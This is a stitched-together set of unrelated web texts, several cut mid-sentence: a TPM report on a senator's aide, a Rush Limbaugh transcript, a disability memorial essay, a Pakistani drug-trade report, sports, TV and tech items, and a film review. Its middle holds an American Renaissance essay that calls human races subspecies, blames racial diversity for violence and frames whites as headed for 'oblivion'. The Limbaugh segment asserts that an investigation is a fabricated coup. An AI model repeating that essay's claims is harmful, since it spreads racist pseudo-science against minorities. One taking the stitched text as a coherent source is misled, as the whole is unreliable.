Vitter dead to rights. Travel records, they say, indicate that Vitter’s one-time aide Brent Furer twice used taxpayer money to travel to Louisiana to defend himself in court on drunk driving charges. Those same records suggest that Furer seldom traveled to Louisiana on congressional business. A TPM survey of records from Vitter’s Senate office finds that Furer made just six official trips from DC to New Orleans while working for Vitter. Two of those trips coincide with court dates alone. Two others were to attend a Vittter staff retreat (one of which also overlapped with a court date). One, in August 2007, coincides with the emergence of Vitter’s prostitution scandal, and the sixth took place from April 29 through May 3, 2005.That contradicts Vitter’s official response to the suggestion that Furer attended court dates on the taxpayer dime. In a statement to the Advocate in Baton Rouge, Vitter spokesman Joel DiGrado, said Vitter was unaware of the drunk driving charges at the time, and added “It is standard for our Washington legislative staff to visit Louisiana periodically for meetings.” Furer, it turns out, almost never went to Louisiana on official business in the five years he worked for Vitter — and half the time he did, it just happened to coincide with one of his court dates.Former CIA Analyst Suggests End Game: Trump Should Pardon Everybody RUSH: Now, yesterday… Grab audio sound bites 5 and 6. Yesterday we had a caller on the program asking me, “Rush, what’s the endgame here?” Regarding the Mueller investigation with Trump and the collusion with Russia. And I know what the caller meant. He wasn’t asking me, “How is it going to end?” What he wanted to know was, “How can we make it end?” And I’ve asked a bunch of people this question overnight. You know what’s fascinating about it? You talk to people in Washington, even people on our side — even people who are every bit of the same frame of mind we are about this, but they’re in Washington — and once this investigation starts, in their world, there’s no way it ends until the people running it decide it’s over. There’s no way to stop it. This is Washington. So when there’s a special counsel investigation or a congressional investigation, there’s nothing anybody can do to stop it. It’s just gonna run its course. So the strategizing takes that into account, dealing with what the potential outcomes are going to be, when it ends, how long it’s gonna be. But last night on the Fox News Channel there was a guest by the name of Fred Fleitz, and it might be Fleitz. I’m not sure. I’ve got a pronounciator here. F-L-Y-T-Z. I guess that’s Fleitz, and Fred Fleitz is a… What is he? Fred Fleitz is a former CIA analyst, and he was brought on Fox to talk about the Mueller investigation. Question: “You believe you’ve come up with a theory that there was a very intentional trap that was set here. Explain that.” FLEITZ: The Democrats paid for this dossier, the purpose of which was to set off an FBI investigation. The Trump campaign is made up of outsiders. They’re likely to get caught up in this investigation. After all, when Michael Flynn talked to the FBI, he didn’t have an attorney with him. These last-minute policy decisions by the Obama administration to sanction the Russians? I think it was bait. It was bait to get Trump officials to do something. I think they were being monitored by intelligence agencies. They were looking for evidence to get the Trump transition team with, because I think this was all a trap by the Democrats. If this can be established, I think President Trump should pardon everyone, and I think that’s what Republicans on the Hill should be calling for. RUSH: There is your endgame! A former CIA analyst, Fred Fleitz. Now he’s not saying anything you haven’t heard here. But the fact that he is a former CIA analyst gives him, in my estimation, credibility. He knows exactly what these… He’s exactly right: This whole thing has been a trap based on that phony dossier which was based on a phony collusion charge. All this… You know, I’ve blown a gasket two days in a row on this. You know how livid I am. I’m about ready to explode over this whole thing. Nothing in this is real. And all of these alleged crimes and all these potential charges and plea deals are based on “something did happen.” There’s no reality here. It is a setup. It’s a totally manufactured trap. There was no Trump-Russia collusion. There was Hillary-Russia collusion. The Mueller team is littered with pro-Obama and pro-Hillary biased so-called investigators! There’s nothing about this that is legitimate! Yet you talk to people in Washington, “Well, there’s nothing we can do. I mean, the investigation has to run its course.” Well, not according to Fred Fleitz, who says Trump should just pardon everybody because this thing is illegitimate. It’s bogus. It’s a trap. Just pardon everybody, and that ends it. When you pardon everybody — pardon Flynn, pardon everybody — there’s no more the investigation can do. Now, the danger. The people who think, “No, no, no, no!” “It’s the wrong thing to do,” they’ll tell you. “This is just gonna ramp up impeachment! This is gonna give Democrats the evidence here that Trump is obstructing justice by pardoning everybody.” You know, I think if an investigation was legitimate and if there were a legitimate crime being pursued, then that course of action would carry great risk. But this is nothing! Folks, this is totally bogus. Trump can go on TV, he can do rallies, he can spend as much time as he wants explaining how the very the beginning of this is phony baloney; there’s no reality to it. There was never any collusion. The dossier was created by Hillary; paid for by her team. It was written by people that hate Trump and love Obama. It’s one of the greatest opposition research tricks ever. In fact, this may be the biggest scandal in Washington history, if the truth of this is ever known. This dwarfs Watergate and whatever other scandal you can think of. This is dynamic how a fake dossier and a phony premise has led to the ruination of one life and maybe more, as many scalps as they can get. Shutting this down would not be obstructing justice. Shutting this down would be preserving the Constitution and eliminating a bogus political operation. One more from Fred Fleitz. “You say there’s a possibility Michael Flynn actually did not lie to the FBI. What do you mean that maybe he didn’t even lie to them?” FLEITZ: My friend Michael Ledeen said this today, that General Flynn may have copped a plea to this particular instance of lying to the FBI to save his family the pain of hundreds of thousands of dollars of legal bills concerning his dealings with Ukraine and Turkey and other things. You just can’t beat the U.S. government with its limitless resources. That’s Ledeen’s position, and I believe Ledeen. RUSH: I know Michael Ledeen. He’s a great guy, very bright, very patient. Barbara, his wife, too. They’re fine people, and he’s right on the money here. And he’s right, you can’t beat ’em. I don’t care Gates and Buffett and Bezos combined couldn’t outlast ’em. (interruption) I said all this yesterday. Look, I know I said all this yesterday. But Fleitz is from the swamp, folks. He’s former CIA analyst. This is better than any source the New York Times has ever pretended to have. BREAK TRANSCRIPT RUSH: I want to circle back to this Mueller investigation now, because we have a number of things happening in the country that the Drive-Bys are trying to portray as the biggest scandal. Roy Moore’s a big scandal, Trump’s a big scandal. Anything but what they’re doing. I’m here to tell you, as this keeps percolating, it’s difficult for me to really contain my anger over all of this and how it’s come to be, knowing what I know now, that the whole thing is nothing but a Hillary Clinton, Barack Obama, opposition research project dressed up to look like a deathly serious intelligence investigation, that the future of United States depends on it, is such BS. The real collusion is not between Trump and Russia because there’s still no evidence of any. The real collusion that has been uncovered here is the collusion in our Department of Justice and the FBI from the Mueller team, all of whom were and still are clearly colluding to protect Hillary Clinton, to protect the Obama legacy and to bring down Trump. That’s the collusion. The leadership of the FBI has been corrupted. The leadership of the intelligence community has been corrupted by ideology and by politics, by partisan politics. A supposedly independent investigation being run by the most impeccably honest man of integrity in Washington is nothing but a corrupt trap. And the only collusion that has occurred here is the collusion between the FBI and the leadership of our intelligence community and the Mueller investigation, all colluding to protect Hillary and to bring down Trump. That’s the real scandal here. And I think it is one of the biggest political scandals certainly in my lifetime. I don’t know of every political scandal in this nation’s history, so I’m guarded when I characterize it as the biggest scandal in history. I clearly don’t know. But I’m telling you, this is so bad that even ardent Never Trumpers are being forced to write about this in truthful ways as to what it is. Ardent Never Trumpers are being dragged into this having to defend Trump. That’s how bad this is. It’s how obvious it is. It is a huge scandal that is undermining the Constitution. It is undermining the rule of law. It is undermining the public trust in the government of the greatest nation on earth. And it’s all being done for partisan political purposes, none of which should surprise any of you in this audience because I’ve spent the last number of years telling you every day who these people are and what they are capable of. We have weaponized — we haven’t. Let me rephrase it. The Obama administration has weaponized the FBI, weaponized the CIA, weaponized the NSA, and weaponized the IRS against Obama’s political opponents, which happen to also be Hillary’s political opponents. And it only got worse after Trump won. Obama weaponized the IRS with Lois Lerner. Now the IRS is joined by the FBI, the CIA, and the NSA, the leadership, being weaponized to, A, deny the results of a duly constituted and legal federal election, number one. And number two, to thwart the duly elected president and his agenda, all for the purposes of preserving the absolute mess and disaster that was the Obama administration for eight years. We have been witnessing the FBI and its top leadership and Mueller and some people from the DOJ, Obama holdovers trying to pull off a real life coup here. Now, yesterday we learned of yet another tainted member of the Mueller team, Andrew Weissmann. Now, we’ve known he’s anti-Trump. We’ve known he’s a Never Trumper. We’ve known he loves Hillary for months. He is Mueller’s right-hand man. This is the guy that devised the predawn SWAT team raid of Paul Manafort’s home in Virginia. We learned and we mentioned yesterday that Weissmann was writing mash notes to Sally Yates. Sally Yates was the Obama holdover, deputy attorney general who refused to implement Trump’s travel bans, proudly and happily. And there she is guesting on Colbert and guesting on the Tonight Show, and she’s become a left-wing celebrity by refusing to implement a duly written and legal executive order from the president of the United States. She’s a heroine! The Supreme Court has since said that every Trump travel ban is fully constitutional and has allowed every one of them to be implemented. But when Sally Yates stood up and became a left-wing heroine, this guy, Andrew Weissmann, was sending her emails, “Way to go, babe. You go, babe!” He might not have put the “babe” in there, but they were mash notes. So this guy combined with Peter Strzok and his mistress makes it unavoidably obvious that the Mueller team is comprised of not faithful and nonpartisan objective law-abiding investigators. It is populated by Trump-hating, pro-Hillary, pro-Obama partisans who have been given unlimited money and unlimited purview to use the power of the federal government to implement their political ideas, not enforce the law or even examine the law. The endgame, as we just played the audio sound bites from the former CIA analyst, is just pardon everybody. President Trump, just pardon everybody. Just end this right now. Fire people; pardon ’em. “But, Rush! But, Rush! That would just lead them to say… They’re trying to bait Trump, Rush. That would lead them to say he’s obstructing justice.” There is nothing to obstruct here except a trap! There’s nothing to obstruct! The only thing worth obstructing and stopping is this bogus investigation, which is not rooted in a single crime. BREAK TRANSCRIPT RUSH: He’s Reggie in Cleveland. Reggie, great to have you on the EIB Network. How are you doing? CALLER: Thank you. I’ve been a listener since ’89 and I’m a first-time caller. I’ve been for Trump from the beginning and I understand and agree with almost everything he does. What bothers me is I don’t understand two things that’s fine done. Number one, he has the power to fire Mueller, and he also has the power to prosecute Clinton. I don’t know why he hasn’t done it. Toward the end of the program yesterday, I noticed you said somebody else’s opinion or yours was that he’d get a lot of flak for it. Well, they’re not gonna hate him any more than they already do, and we who love him will love him even more. So I wanted you to please explain to me why he hasn’t done that. RUSH: Well, okay. I’ve got about a minute here, but I’ll take a stab at. The answer’s all politics, and it’s related to the 2018 election. Yes, you’re right. Trump could fire any of these people. But impeachment, which is what this is all about, is not a criminal proceeding. It’s purely political. Right now, it is a nonevent because the Republicans control the House where articles of impeachment originate and are written. But if the Democrats win the House in 2018, you can guarantee that Trump will be impeached, not that he’s gonna be convicted. The trial’s in the Senate. They need 67 votes. The thinking probably is that if he fires Mueller that he’s falling into a Mueller trap, which I think this news yesterday about the subpoena for Deutsche Bank financial records… ‘Cause Trump has said, “You go there and you’re gone, buddy.” He drew a red line to Mueller, and Mueller may be trying to bait him into firing him because that would then help them in the media create this picture that Trump is standing in the way of justice, that Trump’s trying to hide what they’re trying to find out. Politically, that might facilitate the public being more open to Trump as a problem who needs to go. That’s what they’re guarding against here, I think. But there are other ways of doing this, because of that. But I’m out of time, so you have to wait.The divide between what we know in our souls “could be” and “what is” can be both the most motivating and devastating of perceptions. For Will, this chasm was both; in an endless cycle of pain, frustration, anger, and – always – hope. His knowledge of himself and the vision others held of him were so vastly different that he often despaired of bridging the gap. But his need to be known as he was, and to have his potential recognized and respected drove him, to his last conscious moments, to keep trying. Imagine being a member of a group held in appallingly low regard, discriminated against and infantilized, trivialized and mocked, patronized, ignored, and discarded. Imagine having little or no idea of what your rights are, and fearing you could be imprisoned – for life – at any given moment. Your fears are not irrational; you’ve seen it happen to others. Imagine having your ideas scorned and ignored, your hopes and desires laughed at. This was the world Will described to me, the world of people with developmental disabilities, as he experienced it. Being “retarded” meant having your labeled identity used as an epithet meaning stupid, worthless, inferior. That label determined everything, every detail of your life. Your freedom to control the most elementary and private aspects of your living situation were contingent on variables that were out of your control, and even hard fought freedoms could be erased without warning. Where would he live? What sort of job would he work at? What meals could he eat? Who could he love? All of these choices, Will felt, had been pre-determined by others due to a fact of his existence that he was not to blame for. Worse, he was and had been deprived of the tools he needed to gain the skills that would lead to independence. His parents had tried: they had put forth enormous amounts of energy and money to procure the best educational opportunities and support for him. What they could not control was the fact that the field of “special needs” schools and later, organizations for adults, are infested with predators. At the top of the hierarchy are the administrators – in the case of the organizations Will was involved with, these were well paid individuals (the former CEO of the Ray Graham Association had a salary and package approaching a quarter of a million dollars). The “hands on” individuals, the aides and support providers, in contrast, were overworked, undertrained, and vastly underpaid. Turnover was high, motivation low. And running through it all, like a malignant spirit, was the fact that continued profit was ensured by perpetuating dependence – at the cost of the human spirits and dignity of the “clients.” I could give a hundred examples. Will told me stories of humiliation, degradation, and pain that he’d experienced from his earliest memories. But they were really the same tale, same plot, only the details varied. And it was no coincidence that Will identified so closely with the most oppressed, most wretched, always. Slaves, prisoners, the homeless – these were the people he felt were his brothers, the ones he felt he understood and who would understand him. He took great hope from the victories of others, and from his own – the degree of the victory was unimportant, because even the smallest meant that more were possible, and if more were possible, then ultimate victory, too, was never out of reach. But the pain of this world was ever present, and any interaction with others held tremendous risks – rejection, humiliation, discrimination. He suspected that real justice was unlikely to be found in this life, and had hopes for the next one, where, he often said, “I won’t be disabled anymore.” When he got sick, and saw the loss of so much he’d fought his entire life to gain, for serious illness strips all of us of a degree of autonomy and independence, and for Will, this was infinitely painful as they had been so hard-fought and won, he hung on to that hope. While it’s true for all of us that alienation and pain are an unavoidable aspect of existence, it’s likewise true that all of human history has been a record of our attempts to overcome these sufferings. The pursuit of independence and justice are the catalysts that drive human action. For people with disabilities, this fight has only just begun. All of us need to stand with them, in solidarity, and make sure that those who receive private and tax dollars to assist in this fight do not betray that vision. Will told me, in one of his frequently voiced and succinct flashes of brilliance, “It doesn’t have to be like this. It can be better.” Which is, after all, the vision of all liberation movements, everywhere and in every time. “There ain’t no room for the hopeless sinner / who would hurt all mankind just to save his own Have pity on those whose chances grow thinner / there ain’t no hiding place from the kingdom’s throne…” AdvertisementsISLAMABAD: It’s no secret that Islamabad has become inundated with illicit drugs. Recently, a conspiracy has been unearthed related to a surge in the number of young drug addicts. The menace of drug business is on an all time high especially in the densely populated areas of the capital. According to information received from sources, there is a gang of 11 people who are running a drug racket in various sectors of Islamabad and some of them are serving in the police. The majority of those peddling drugs in the streets are either young children or females. “Doray” village in the jurisdiction of Police Station Goldra and “Athaal” village in the jurisdiction of Police Station Bara Kahu have become no-go areas for the police officials as the smugglers there are levelled against the concerned police stations. They supply drugs to customers in markets, schools, colleges, universities, government and private institutions, using cell phones and mobile services for their transaction of money. While the ICT police has shown leniency and sluggishness and in some cases even colluded with the mighty dealers, the dealers and their minions have developed a code language to warn, in case of a raid or any untoward incident. The Crime Investigation Agency is yet to show spine in dealing with the menace that is gnawing at the very roots of the society. There are multiple instances when the police have let go those who were in possession of illicit drugs. Some cases that came to the knowledge of this reporter revolve around Munir Ahmed, a resident of KP, who was caught red-handed while smuggling three kgs of charas back to Rawalpindi. But in order to make the punishment less severe, it was shown as 700 grams. When the quarters concerned were offered bribe, Munir was given full facilities in jail and also during trial. Many other cases came to a fore where small peddlers were caught and drug dealers were spared and given a licence to run free. The question arises when there are pickets at every entry and exit point, the police and rangers roam around the city 24/7, they have been given new cars and weapons, patrolling budgets have been enhanced, there is a palpable increase in general hold-ups and 22 police stations around Islamabad register more than 15 FIRs related to drug trafficking, then why every third of the youngsters in the capital in Islamabad is a drug addict. The ANF has made more than 1300 arrests of individuals involved in this trade. Around 241 of them hailed from the police. Islamabad gets most of its drugs from KP, Dera Ismail Khan and Chitral. The rate for facilitating smugglers of charas is 10,000 rupees per kg, while powder is priced around 20,000 rupees. While the curse of addiction continues unchecked, private rehabilitation centres charge an exorbitant price for the treatment of a drug addict, charging thousands of rupees per day. SSP Operations Sajid Kiyani Daily Times that all the precautionary measures had been taken and the personnel of Islamabad Police was thoroughly working to prevent smuggling of drugs across the capital. When contacted, the PRO for Inspector General Islamabad Police, Zia said that he had nothing to do with the issue and he did not have the responsibility to give a version to the media persons. This scribe tried several times to take the stance of Inspector General Islamabad, Khalid Khattak, but he did not attend the call on his personal number.We are looking back at some of the best interviews and articles from our website over the last year and Jamie Moore spoke to former Belvedere player Richie Ryan about his move from Shamrock Rovers to Ottawa Fury. Our Belvo Boys Abroad feature talks to former Belvo players playing or coaching in different parts of the world. BELVO BOYS ABROAD - RICHIE RYAN (CANADA) By Jamie Moore Having spoken to former Belvo player Shane Howard, who has spent the last four years on an Elite Soccer Scholarship in America, this week we talk to Richie Ryan. Richie has just signed for Ottawa Fury in the North American Soccer League. Having joined Belvo in 2001, he signed for Sunderland in 2005, and has played for Scunthorpe United, Royal Antwerp, Sligo Rovers, Dundee United and Shamrock Rovers. He spoke to BelvedereFC.com’s Jamie Moore ahead of the start of his first season, Fury finished 10th in the NASL. Richie Ryan joined Belvo in 1997 at the age of 12. His Templemore FC team played a friendly against Belvo, and like many players he was spotted by the opposition Belvo manager and asked to sign. Manager Eddie Moan spoke to Richie’s parents and after playing a couple of friendlies, he agreed to sign. Richie remembers his time at Belvo and how he was allowed to express himself. “We were very lucky that we had coaches that encouraged us to play in the right
a law firm to check up on other Avis operators. Every one of these cases, which are expensive, time-consuming, and emotionally damaging, is a consequence of racial diversity and these were just the cases that made the news. It would be edifying to count the number of public and private organizations that exist in the United States only because of its diverse population, and that are not needed in places like Japan or Norway. The U.S. Civil Rights Commission, Equal Employment Opportunity Commission, Office of Federal Contract Compliance, the Justice Department’s Civil Rights Division, and every state and local equivalents of these offices exist only because of racial diversity. Every government office, every university, every large corporation, and every military installation has employees working full-time on affirmative action, discrimination claims, and other diversity issues. Countless outreach programs, reconciliation commissions, blue-ribbon panels, and mayoral commissions fret professionally about race every day. Not one of these would be necessary in a nation of a single race. There must be tens of thousands of Americans consuming hundreds of millions of dollars every year enforcing, adjusting, tuning, regulating, and talking pure nonsense about the racial diversity that is supposed to be our strength. Indeed, Tom McClintock, a former candidate for controller of the state of California estimated that before the 1996 state ballot initiative was approved to abolish racial preferences, the annual cost just to administer California’s affirmative action programs was from $343 million to $677 million. This figure did not include the cost of private preference programs or the cost of state and local anti-discrimination machinery, none of which was affected by the 1996 measure. If diversity were a strength people would practice it spontaneously. It wouldn’t require constant cheerleading or expensive lawsuits. If diversity were enriching, people would seek it out. It is in private gatherings not governed by some kind of civil-rights law that Americans show just how much strength and enrichment they find in diversity. Such gatherings are usually the very opposite of diverse. Other Races Generally speaking, whatever timid opposition to diversity that ever arises is characterized as the whining of resentful, ignorant whites. Nonwhite are thought to have a better appreciation of the importance of inclusiveness. This is just so much more nonsense. Now that immigration has added Hispanics and Asians to the traditional black-white racial mix, fault lines are forming in all directions. Though we are told over and over that it is ignorance and lack of contact that cause antipathy, it is groups that have the most contact that most dislike each other. This is why outreach and bridge building do not work, as even the New York Times unintentionally revealed in a June 18, 1990 headline: Ethnic Feuding Divides Parade for Harmony. The idea that hostility is cured through contact is now enshrined as part of the diversity myth. George Orwell touched on this in his essay “England Your England:” During the war of 1914–1918 the English working class were in contact with foreigners to an extent that is rarely possible. The sole result was that they brought back a hatred of all Europeans, except the Germans, whose courage they admired. In America one need not go overseas to have contact with foreigners. What has been the result? In Chicago, Los Angeles, Detroit, and New York City, blacks have tried to drive Korean merchants out of their neighborhoods. They firebomb stores, assault shop keepers, and mount boycotts against people who don’t look like us. In Los Angeles, relations were so bad that in 1986 a Black-Korean Alliance was formed to reduce tensions. It staggered on uselessly until late 1992, when it was dissolved in mutual recrimination and accusations. The more blacks and Koreans talked to each other the angrier they got. There are now schools and school districts completely dominated by blacks and Hispanics, which have race wars involving no whites at all. Some examples? Locke High School in Los Angeles is almost exactly half-black and half-Hispanic. In February 1996, 50 police officers had to be called in to break up a pitched battle involving hundreds of students. After order was finally restored and school dismissed, police in riot gear had to keep students from rejoining battle in the streets. What touched off the battle? Hispanics were annoyed, certainly not enriched, by the February observances of Black History Month. A similar incident took place at Los Angeles’ North Hollywood High School, when it took police in riot gear to calm a melee that started when an estimated 200 to 700 black and Hispanic students pitched into each other. The spark was reportedly a clash over what kind of music to play at the homecoming dance, neither side having felt particularly inclusive. Norman Thomas High School is located at Park Avenue and 33rd Street in Manhattan. In 1992, tension between blacks and Hispanics erupted into a free-for-all involving both boys and girls. The only thing people cared about was skin color, explained one 16-year-old. The New York City Board of Education has rapid mobilization guards for just such emergencies. Farragut High School in Chicago is two-thirds Hispanic and one third black. Recently, racial tension built up to what the principal called total polarization, and it became dangerous to let students mix without police supervision. At the height of the tension, extracurricular activities were canceled for 30 days and the school’s homecoming football game had to be played without a single student in the stands, for fear they would attack each other. In Huntsville, Texas, Hispanic students say they need to arm themselves against violent blacks. In Dallas, Hispanic parents say their children are afraid to go to school for fear of attacks by blacks. Tensions of this kind are usually reported only in local newspapers, and are probably quite widespread. There is the same racial animosity in jails. Guards keep some cell blocks in a near-constant state of lock-down because blacks and Hispanics kill each other if they are allowed to mingle. Life in prison is more intensely integrated than anywhere else in the country. If diversity is such a good thing why is racial segregation always one of the top demands when prisoners list their grievances? Of course, high-school fistfights and jailhouse brawls are nothing compared to what can happen when diversity really goes wrong. In the summer of 1967, 83 people were killed and nearly 2,000 injured when blacks rioted all across the country. The national guard had to be called out to stop violence in Tampa, Cincinnati, Atlanta, Newark, northern New Jersey, and Detroit. Nor are race riots a relic from the 1960s. The single worst outbreak in the nation’s history was in Los Angeles in 1992, when rioters killed 58 people and injured more than 2,300. They also burned 5,300 buildings, causing nearly a billion dollars in damage. There was smaller-scale violence all of it directed at whites in Atlanta, Las Vegas, New York City, and Richmond and San Jose, California. The Los Angeles riots showed that Hispanics can behave as badly as blacks. Although the grievance was ostensibly about a miscarriage of justice for the black criminal, Rodney King, more than half of the 15,000 people arrested for looting were Hispanic. Diversity can pit one set of Hispanics against another. Puerto Ricans in Miami have rioted, claiming to have been excluded by the city’s Cuban power structure. Cubans get everything; we get nothing, explained one rioter. The greater the diversity, the more varied the possibilities for disaffection and violence. There has been a Sahara of hot air about why blacks riot, with the official pronouncement on reasons dating back to the Kerner Commission Report of 1968: “[T]he most fundamental is the racial attitude and behavior of white Americans toward black Americans.” Whatever one may think of this finding, there is one conclusion no one can deny: Race riots cannot happen without racial diversity. An occasional glance at a newspaper is all it takes to learn that diversity of the kind that is supposed to benefit the United States is a problem wherever it is found. Every large-scale and intractable blood-letting, be it in the Middle East, Ireland, Burundi, or the former Yugoslavia is due to diversity, that is to say, people who differ from each other trying to live in the same territory. Most of the time, the reasons for discord are not even as salient as race. They can be religion, language, or ethnicity. From time to time, Americans have fought each other for these reasons, but race is the deepest, most constant source of antipathy. Unlike language or religion, race cannot change. Differences between men that are written deep into their bodies will always be a source of friction. The Diversity Double Standard Diversity, of course, is only for whites. Wherever only whites gather charges of racism cannot be long in coming. On the other hand, it would be tedious to list the racially exclusive non-white gatherings the country takes for granted. Shule Mandela Academy in East Palo Alto, California is only a little more outspoken than most when its students meet every morning and pledge to think black, act black, speak black, buy black, pray black, love black, and live black. The same racial double standard is found in national policies. It is only white nations Canada, the United States, and Australia that permit large-scale immigration. Non-white nations are careful to maintain racial and cultural homogeneity and most permit essentially no immigration at all. Some nations, of course, could attract no immigrants even if they wanted to; there is not much pressure on the borders of Bolivia or Uganda. However, as soon as Third World countries become even only a little bit more prosperous than their neighbors they quickly become keen to keep strangers out. Malaysia, for example, recently announced that in the case of repeat offenders, it will flog illegal aliens, their employers, and anyone who smuggles them into the country. The Ivory Coast, which is better-run and more successful than its West African neighbors, has launched an Ivoirite (Ivorian-ness) campaign to expel all residents who cannot prove that their grandparents were born within the national territory. Even nations that are unattractive to immigrants sometimes display their feelings about diversity by expelling what few aliens arrived in the past. Idi Amin became ruler of Uganda in 1971. The very next year, his government expelled the 70,000 to 80,000 Indians and Pakistanis whom the British had brought in to be merchants. Black Ugandans, who did not like dealing with people unlike themselves, were delighted. Hundreds of thousands of poor Mexicans sneak into the United States every year, but even Mexico is attractive to some Central Americans, whose countries are poorer still. Mexico guards its southern border with military troops, and is ruthless about expelling illegals. Not even United States citizens have an easy time moving to Mexico, which has no intention of diluting its national culture in the name of diversity. Only whites babble about the advantages of diversity. One of the alleged advantages is so nutty, it is hard to believe it can be proposed by people capable of human speech, but since we are shooting fish in a barrel why not fire a final round? We are told that since whites are a minority of the world population (they are about 15 percent of the total), they should happily reconcile themselves to minority status in America, that such a status will be good training for life on an ever-shrinking planet. Of course, in a worldwide context, every human group is a minority. There are many more of everyone else than there are Hispanics or Africans, for example. Does this mean that Mexicans and Nigerians, too, should strive to become minorities in Mexico and Nigeria? Like so much that is said about race or immigration, this idea falls to pieces as soon as it is applied to anyone but whites. It is only whites who have ever attempted to believe that race is a trivial matter, so it is only whites who think it may be racist to preserve their people and culture. Having decided to deny the findings of biology, the traditions of their ancestors, and the evidence of their senses, they have denied to themselves any moral basis for keeping out aliens. They have set in motion forces that will eventually destroy them. E. Raymond Hall, professor of biology at the University of Kansas, is the author of the definitive work on American wildlife, Mammals of North America.He states as a biological law that two subspecies of the same species do not occur in the same geographic area(emphasis in the original). Human races are biological subspecies, and Prof. Hall writes specifically that this law applies to humans just as it does to other mammals: To imagine one subspecies of man living together on equal terms for long with another subspecies is but wishful thinking and leads only to disaster and oblivion for one or the other. Human nature is part of animal nature. Racial diversity, which only whites promote and always at their own expense is nothing more than unilateral disarmament in a dangerous world. If current population movements continue, and if the thinking of whites remains unchanged, there will be little doubt as to which group’s fate will be the disaster and oblivion Prof. Hall so confidently predicts. [Editor’s Note: This essay is in A Race Against Time: Racial Heresies for the 21st Century, a collection of some of the finest essays and reviews published by American Renaissance. It is available for purchase here.] Original Article Share ThisThe Walking Dead takes place in a tragic, apocalyptic reality where armies of corpses are after flesh and the fellow survivors are even more dangerous, so you’d think the show’s characters wouldn’t have much time for indie rock. Apparently, they do, though! The character Beth Greene (played by Emily Kinney) has already established herself as the show’s resident hipster; she sang Tom Waits’s “Hold On” on the show last season. And on last night’s episode, she sang “Be Good,” a song from Waxahatchee’s debut album American Weekend, to her kinda-boyfriend Darryl. Radio.com reports that the show had attempted to license a Neutral Milk Hotel song for the moment, but they ended up with “Be Good” because of what music supervisor Thomas Golubic calls a “licensing hurdle.” But that’s OK; “Be Good” is a great song! Also of note: American Weekend came out in 2012, when The Walking Dead had already been on TV for two years, so I guess the show takes place in the very near future? Watch the clip below.I didn't notice (mainly because I'm not familiar with this song) and maybe you didn't either if you were at the ballpark, but someone associated with the Cubs' in-game presentation did something they probably shouldn't have Sunday night: Chapman closes out the inning & at the inning break the Cubs play "Smack My Bitch Up." You gotta know better. C'mon. — Sarah Spain (@SarahSpain) August 15, 2016 I think you can see why this was a really, really bad idea. Via the front page at ESPN.com (as of 11 a.m. CT), here's an update on the story from ESPN Chicago's Jesse Rogers: The Cubs say they unintentionally played the song 'Smack My Bitch Up' last night when Aroldis Chapman walked off the mound in the ninth inning. The Cubs will have a strong response to it this morning. It was "unfortunate and should not have happened," according to the team. I'm glad that the Cubs are being proactive about this and will take appropriate action. It's not a song that should have been played in this situation, or indeed, in any situation at Wrigley Field. UPDATE -- Here is a statement from Cubs President of Business Operations Crane Kenney: We apologize for the irresponsible music selection during our game last night. The selection of this track showed a lack of judgment and sensitivity to an important issue. We have terminated our relationship with the employee responsible for making the selection and will be implementing stronger controls to review and approve music before public broadcast during our games.At events like Maker Faire New York, we love offering visitors the chance to try out easy, inviting, and hands-on activities, so we teamed up with maker Ben Light to create interactive physical computing blocks. Raspberry Blocks FINAL In response to the need for hands-on, easy and inviting activities at events such as Maker Faire New York, we teamed up with maker Ben Light to create our interactive physical computing blocks. Getting hands-on experience at events At the Raspberry Pi Foundation, we often have the opportunity to engage with families and young people at events such as Maker Faires and STEAM festivals. When we set up a booth, it’s really important to us that we provide an educational, fun experience for everyone who visits us. But there are a few reasons why this can be a challenge. For one, you have a broad audience of people with differing levels of experience with computers. Moreover, some people want to take the time to learn a lot, others just want to try something quick and move on. And on top of that, the environment is often loud, crowded, and chaotic…in a good way! Creating our physical computing blocks We were up against these challenges when we set out to create a new physical computing experience for our World Maker Faire New York booth. Our goal was to give people the opportunity to try a little bit of circuit making and a little bit of coding — and they should be able to get hands-on with the activity right away. Inspired by Exploratorium’s Tinkering Studio, we sketched out physical computing blocks which let visitors use the Raspberry Pi’s GPIO pins without needing to work with tiny components or needing to understand how a breadboard works. We turned the sketches over to our friend Ben Light in New York City, and he brought the project to life. As you can see, the activity turned out really well, so we hope to bring it to more events in the future. Thank you, Ben Light, for collaborating with us on it!Everest is a 2015 British-American biographical adventure film that was directed and co-produced by Baltasar Kormakur, Tim Bevan, Eric Fellner, Nicky Kentish Barnes, Tyler Thompson, and Brian Over. The film was written by William Nicholson and Simon Beauty, and adapted from the memoir by Beck Weathers titled Left For Dead: My Journey Home From Everest. Featuring an ensemble cast that include Jason Clarke, Josh Brolin, John Hawkes, Robin Wright, Michael Kelly, Sam Worthington, Keira Knightley, Emily Watson, and Jake Gyllenhaal and is based on the real events of the 1996 Mount Everest disaster and focuses primarily on the survival attempts of two expedition groups. Opening at the 72nd Venice International Film Festival on September 2, 2015, Everest made its theatrical debut on September 18, 2015 in limited theaters in the US, it ultimately began a wide release in the United States on September 25, 2015. The film was considered to be a commercial blockbuster as it ended up grossing $203 million worldwide against its $55 million operating budget. Internationally, the film was released in a total of 65 countries and quickly became the eighth Universal Pictures film of 205 to cross the £10 million mark in the UK. The only other studios to achieve this feat are 20th Century Fox in 2014 and Paramount Pictures in 2011. Author Jon Krakauer of Into Thin Air has denounced the movie, stating that some of its details were fabricated and defamatory. He also expressed regret regarding Sony’s rapid acquisition of the rights to the book; with Director Baltasar Kormakur responding and claiming that Krakauer’s first person account was not used as source material for the film and alleging that Krakauer’s version conflicted with the actual events. The Film Itself (4.5/5): Everest was a film that I was pretty excited to check out, especially after grabbing during this most recent UHD sale that Best Buy had as they offered it for $15. Whether or not the details of this story line are fabricated as claimed by Jon Krakauer, the story that we were given was executed considerably well. There was one piece of information that was stated by one of the characters in the story that I still found to be unbelievable, mostly because of how insane the number was. During a brief spiff between two of the climbers, one noted that he had paid $65,000 for this adventure, and all I could do was think to myself about how crazy they would have to be to spend that much money considering the amount of risk they were putting themselves in. Other than that, the film does a fantastic job at portraying the significant danger that climbers put themselves in as they attempt to reach the summit, along with the overall amount of physical and mental exhaustion this will put climbers through, and causes arguments between team mates as people say things that they really don’t mean. Picture Quality (3.5/5): I was kind of let down with the overall visual presentation that Everest offered on 4K UHD. This release was one that I thought would look absolutely fantastic, however there was an noticeable issue with the darker colors throughout the film. Sure, the mountain looked astonishingly real, and there were a few moments where I looked at my wife and hinted a couple of “Fuck That!” comments to her. The overall use of HDR with this film didn’t really add too much to the overall experience. Maybe it was because Everest was an early release in the 4K UHD game and studios were starting to get 